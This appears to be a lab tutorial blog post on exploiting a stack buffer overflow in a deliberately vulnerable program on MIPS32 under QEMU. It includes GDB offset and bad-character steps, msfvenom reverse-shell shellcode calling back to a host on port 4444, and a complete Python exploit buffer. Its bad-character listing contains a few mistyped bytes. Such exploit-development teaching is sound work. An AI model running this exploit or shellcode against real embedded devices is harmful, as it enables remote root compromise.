MIPS (Microprocessor without Interlocked Pipeline Stages) 32-bit processors are used in a number of embedded devices, such as routers.
MIPS is a Reduced Instruction Set Computing (RISC) architecture developed in the 1980s by MIPS Computer Systems (later acquired by Silicon Graphics), and it has been widely used in embedded systems, networking hardware and consumer electronics.
Development of the MIPS architecture was ended in 2021 by it’s current owners Wave Computing, in favor of RISC-V based systems.
Setting up a Development Environment
A MIPS32 (little endian) QEMU image can be downloaded from here: https://blahcat.github.io/qemu/. You want the file called mipsel_stretch.zip.
Run the start.sh script, and qemu should run the system. To enter the QEMU menu at any point (for instance to take snapshots), press CTRL+A, release both keys then press the letter ‘C’.
Most MIPS devices I’ve come across have ASLR turned off. It can be disabled in the image using the following command (this will need to be done each reboot).
echo 0 > /proc/sys/kernel/randomize_va_space
Target Vulnerable Application
We will be exploiting the following application. The program will use the fgets function to read 1000 characters of user input, then attempt to place the output into a 32 byte buffer. As such, it’s vulnerable to a stack based buffer overflow.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void check_password() {
char password[32];
puts("Password:");
fgets(password, 1000, stdin);
if(strcmp(password, "bordergate\n") == 0) {
puts("pass\n");
}
else {
puts("fail\n");
}
}
int main(int argc, char **argv) {
check_password();
return 0;
}
Compile it using:
gcc -no-pie -fno-stack-protector vuln.c -z execstack -o mips_prog
Find the Program Counter Offset
To start, we need to identify which offset overwrites the return address (RA) and therefore the program counter (PC) register. Generate a cyclic pattern with Metasploit:
/usr/bin/msf-pattern_create -l 500
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq
Put this output in a text file, and run GDB with this file as input. We can see the PC has been overwritten with 41326241.
root@debian-mipsel:~# gdb ./mips_prog
Starting program: /root/mips_prog < output.txt
(gdb) info registers
zero at v0 v1 a0 a1 a2 a3
R0 00000000 00000001 00000006 ffffffff 77fc8d7c ffffffff 00000001 00000000
t0 t1 t2 t3 t4 t5 t6 t7
R8 00000000 00000003 00000001 00000008 8cf49eb4 00000080 00000000 77fc6cc0
s0 s1 s2 s3 s4 s5 s6 s7
R16 00000000 00400920 77ffeedc 00000000 00000000 00541728 0053fd08 00000000
t8 t9 k0 k1 gp sp s8 ra
R24 00000001 77f24834 fbad2a84 00000000 00418ab0 7fffece0 31624130 41326241
status lo hi badvaddr cause pc
0000a413 00000000 00000000 41326240 10800008 41326241
fcsr fir restart
00000000 00739300 00000000
Use msf-pattern offset to lookup the value (41326241).
msf-pattern_offset -l 500 -q 41326241
[*] Exact match at offset 36
So, we know the program counter is overwritten after 36 bytes.
Verify the Offset & Determine Shellcode Location
Verify the offsets are correct using Python.
root@debian-mipsel:~# python -c "print('A'*36 + 'B'*4 + 'C'*50)" > fuzz.txt
root@debian-mipsel:~# gdb ./mips_prog
Reading symbols from ./mips_prog...(no debugging symbols found)...done.
(gdb) run < fuzz.txt
Starting program: /root/mips_prog < fuzz.txt
Password:
fail
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)
(gdb) info registers
zero at v0 v1 a0 a1 a2 a3
R0 00000000 00000001 00000006 ffffffff 77fc8d7c ffffffff 00000001 00000000
t0 t1 t2 t3 t4 t5 t6 t7
R8 00000000 00000001 00000001 00000008 8caefeb4 00000080 00000000 77fc6cc0
s0 s1 s2 s3 s4 s5 s6 s7
R16 00000000 00400920 77ffeedc 00000000 00000000 00541728 0053fd08 00000000
t8 t9 k0 k1 gp sp s8 ra
R24 00000001 77f24834 fbad2a84 00000000 00418ab0 7fffece0 41414141 42424242
status lo hi badvaddr cause pc
0000a413 00000400 00000000 42424242 10800008 42424242
fcsr fir restart
00000000 00739300 00000000
Examining the stack pointer, we can see our C characters are being inserted after 40 characters. Take a note of the stack pointer address (0x7fffecdc).
(gdb) x/100x $sp-4
0x7fffecdc: 0x42424242 0x43434343 0x43434343 0x43434343
0x7fffecec: 0x43434343 0x43434343 0x43434343 0x43434343
0x7fffecfc: 0x43434343 0x43434343 0x43434343 0x43434343
0x7fffed0c: 0x43434343 0x000a4343 0x00000000 0x77e60498
Identifying Bad Characters
Use Python to create a file containing all possible hex values (excluding 0x00, since we’re assuming that’s almost always bad).
buf = b"A" * 36
buf += b"B" * 4
buf += b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x112\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
buf += b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x332\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
buf += b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x552\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
buf += b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x772\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
buf += b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x992\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
buf += b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xbb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
buf += b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xdd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
buf += b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xff2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
with open('output.txt', 'wb') as f:
f.write(buf)
Run the program in GDB and look for characters that have been corrupted. Here we can see 0x0a should be followed by 0x0b. It’s not, so we can assume 0x0a is a bad character. Keep iterating through this process until all bad characters are identified.
(gdb) x/100x $sp
0x7fffece0: 0x04030201 0x08070605 0x00000a09 0x77ffeedc
0x7fffecf0: 0x00418ab0 0x00510000 0x00000000 0x77e604d8
0x7fffed00: 0x00000001 0x7fffedd4 0x00000000 0x00000000
0x7fffed10: 0x77fcee00 0x00000000 0x77e60498 0x7fffed00
0x7fffed20: 0x00000000 0x00400920 0x77ffeedc 0x00000000
0x7fffed30: 0x00000000 0x00541728 0x0053fd08 0x00000000
0x7fffed40: 0x00000000 0x77fcee00 0x00000000 0x77ffa290
0x7fffed50: 0xffffffff 0xffffffff 0xffffffff 0xffffffff
0x7fffed60: 0xffffffff 0xffffffff 0xffffffff 0xffffffff
0x7fffed70: 0xffffffff 0xffffffff 0xffffffff 0xffffffff
0x7fffed80: 0x00000000 0x77fe4074 0x00000000 0x00000000
Creating an exploit
We can generate reverse shell shellcode with MSFVenom excluding our two known “bad” characters.
msfvenom -a mipsle -p linux/mipsle/shell_reverse_tcp LHOST=192.168.1.253 LPORT=4444 -f python -b '\x0a\x00'
We will also need a NOP instruction. NOP in MIP32 contains a number of NULL bytes, so can’t be used. Instead, we can just include an instruction that changes a register we don’t care about. In this case, the $s0 register will be incremented.
add $s0, $t0, $t0
This instruction can then be converted to hex by using a website like this one; https://mips-converter.jeffsieu.com/, which provides the value 0x01088020.
We can now add all the pieces together.
buf = b"A" * 36 # Padding
buf += b"\xf0\xec\xff\x7f" # Address of shellcode
# 0x01088020 Our NOP instruction. add $t0, $at, $t0 - add $at to $t0, store the result in $t0
buf += b"\x20\x80\x08\x01" * 32
# MSFVenom shellcode Bad chars = 0x00 0x0a
# msfvenom -a mipsle -p linux/mipsle/shell_reverse_tcp LHOST=192.168.1.253 LPORT=4444 -f python -b '\x0a\x00'
buf += b"\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21"
buf += b"\xfd\xff\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24"
buf += b"\x0c\x01\x01\x01\xff\xff\xa2\xaf\xff\xff\xa4\x8f"
buf += b"\xfd\xff\x0f\x34\x27\x78\xe0\x01\xe2\xff\xaf\xaf"
buf += b"\x11\x5c\x0e\x3c\x11\x5c\xce\x35\xe4\xff\xae\xaf"
buf += b"\x01\xfd\x0e\x3c\xc0\xa8\xce\x35\xe6\xff\xae\xaf"
buf += b"\xe2\xff\xa5\x27\xef\xff\x0c\x24\x27\x30\x80\x01"
buf += b"\x4a\x10\x02\x24\x0c\x01\x01\x01\xfd\xff\x11\x24"
buf += b"\x27\x88\x20\x02\xff\xff\xa4\x8f\x21\x28\x20\x02"
buf += b"\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff\xff\x10\x24"
buf += b"\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff\x06\x28"
buf += b"\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf\xaf"
buf += b"\x73\x68\x0e\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf"
buf += b"\xf4\xff\xa0\xaf\xec\xff\xa4\x27\xf8\xff\xa4\xaf"
buf += b"\xfc\xff\xa0\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24"
buf += b"\x0c\x01\x01\x01"
with open('output.txt', 'wb') as f:
f.write(buf)
Running our exploit in GDB, we should be able to catch a shell:
nc -lvp 4444
Listening on 0.0.0.0 4444
id
uid=0(root) gid=0(root) groups=0(root)
cat /etc/hostname
debian-mipsel
Running outside of GDB
Attempting to run the exploit outside of GDB, we see the application crashes.
cat output.txt | ./mips_prog
Password:
fail
Illegal instruction
Ensure coredumps are collected using the ulimit command.
root@debian-mipsel:~# ulimit -c unlimited
Now a crash should produce a coredump we can analyse.
cat output.txt | ./mips_prog
Password:
fail
Illegal instruction (core dumped)
Reviewing the core dump, we can see outside a debugger the PC overwrite address we used (0x7fffecf0) actually points to our ‘A’ characters rather than our buffer.
gdb -q ./mips_prog ./core
Reading symbols from ./mips_prog...(no debugging symbols found)...done.
[New LWP 631]
(gdb) info registers
zero at v0 v1 a0 a1 a2 a3
R0 00000000 00000001 00000006 ffffffff 77fc8d7c ffffffff 00000001 00000000
t0 t1 t2 t3 t4 t5 t6 t7
R8 00000000 00000003 00000001 00000008 8b7adeb4 00000080 00000000 77fc6cc0
s0 s1 s2 s3 s4 s5 s6 s7
R16 00000000 00400920 77834edc 00000000 00000000 006de9e8 006c5208 00500000
t8 t9 k0 k1 gp sp s8 ra
R24 00000001 77f24834 00000000 00000000 00418ab0 7fffed00 41414141 7fffecf0
sr lo hi bad cause pc
0000a413 00000000 00000000 00413014 0080002c 7fffecf0
fsr fir
00000000 00000000
(gdb) x/20x $pc
0x7fffecf0: 0x41414141 0x41414141 0x41414141 0x7fffecf0
0x7fffed00: 0x01088020 0x01088020 0x01088020 0x01088020
0x7fffed10: 0x01088020 0x01088020 0x01088020 0x01088020
0x7fffed20: 0x01088020 0x01088020 0x01088020 0x01088020
0x7fffed30: 0x01088020 0x01088020 0x01088020 0x01088020
Modify the exploit code to use 0x7fffed10 instead, and it should work. We’re avoiding 0x7fffed00 simply because it contains a null byte.
(cat output.txt ; cat) | ./mips_prog
Password:
fail
nc -lvvp 4444
Listening on 0.0.0.0 4444
id
nc: getnameinfo: Temporary failure in name resolution
uid=0(root) gid=0(root) groups=0(root)
In Conclusion
Despite the development of MIPS architecture being halted, there are still a lot of these CPU’s in use in embedded devices – and they often have common memory corruption protections such as ASLR and NX/XN disabled.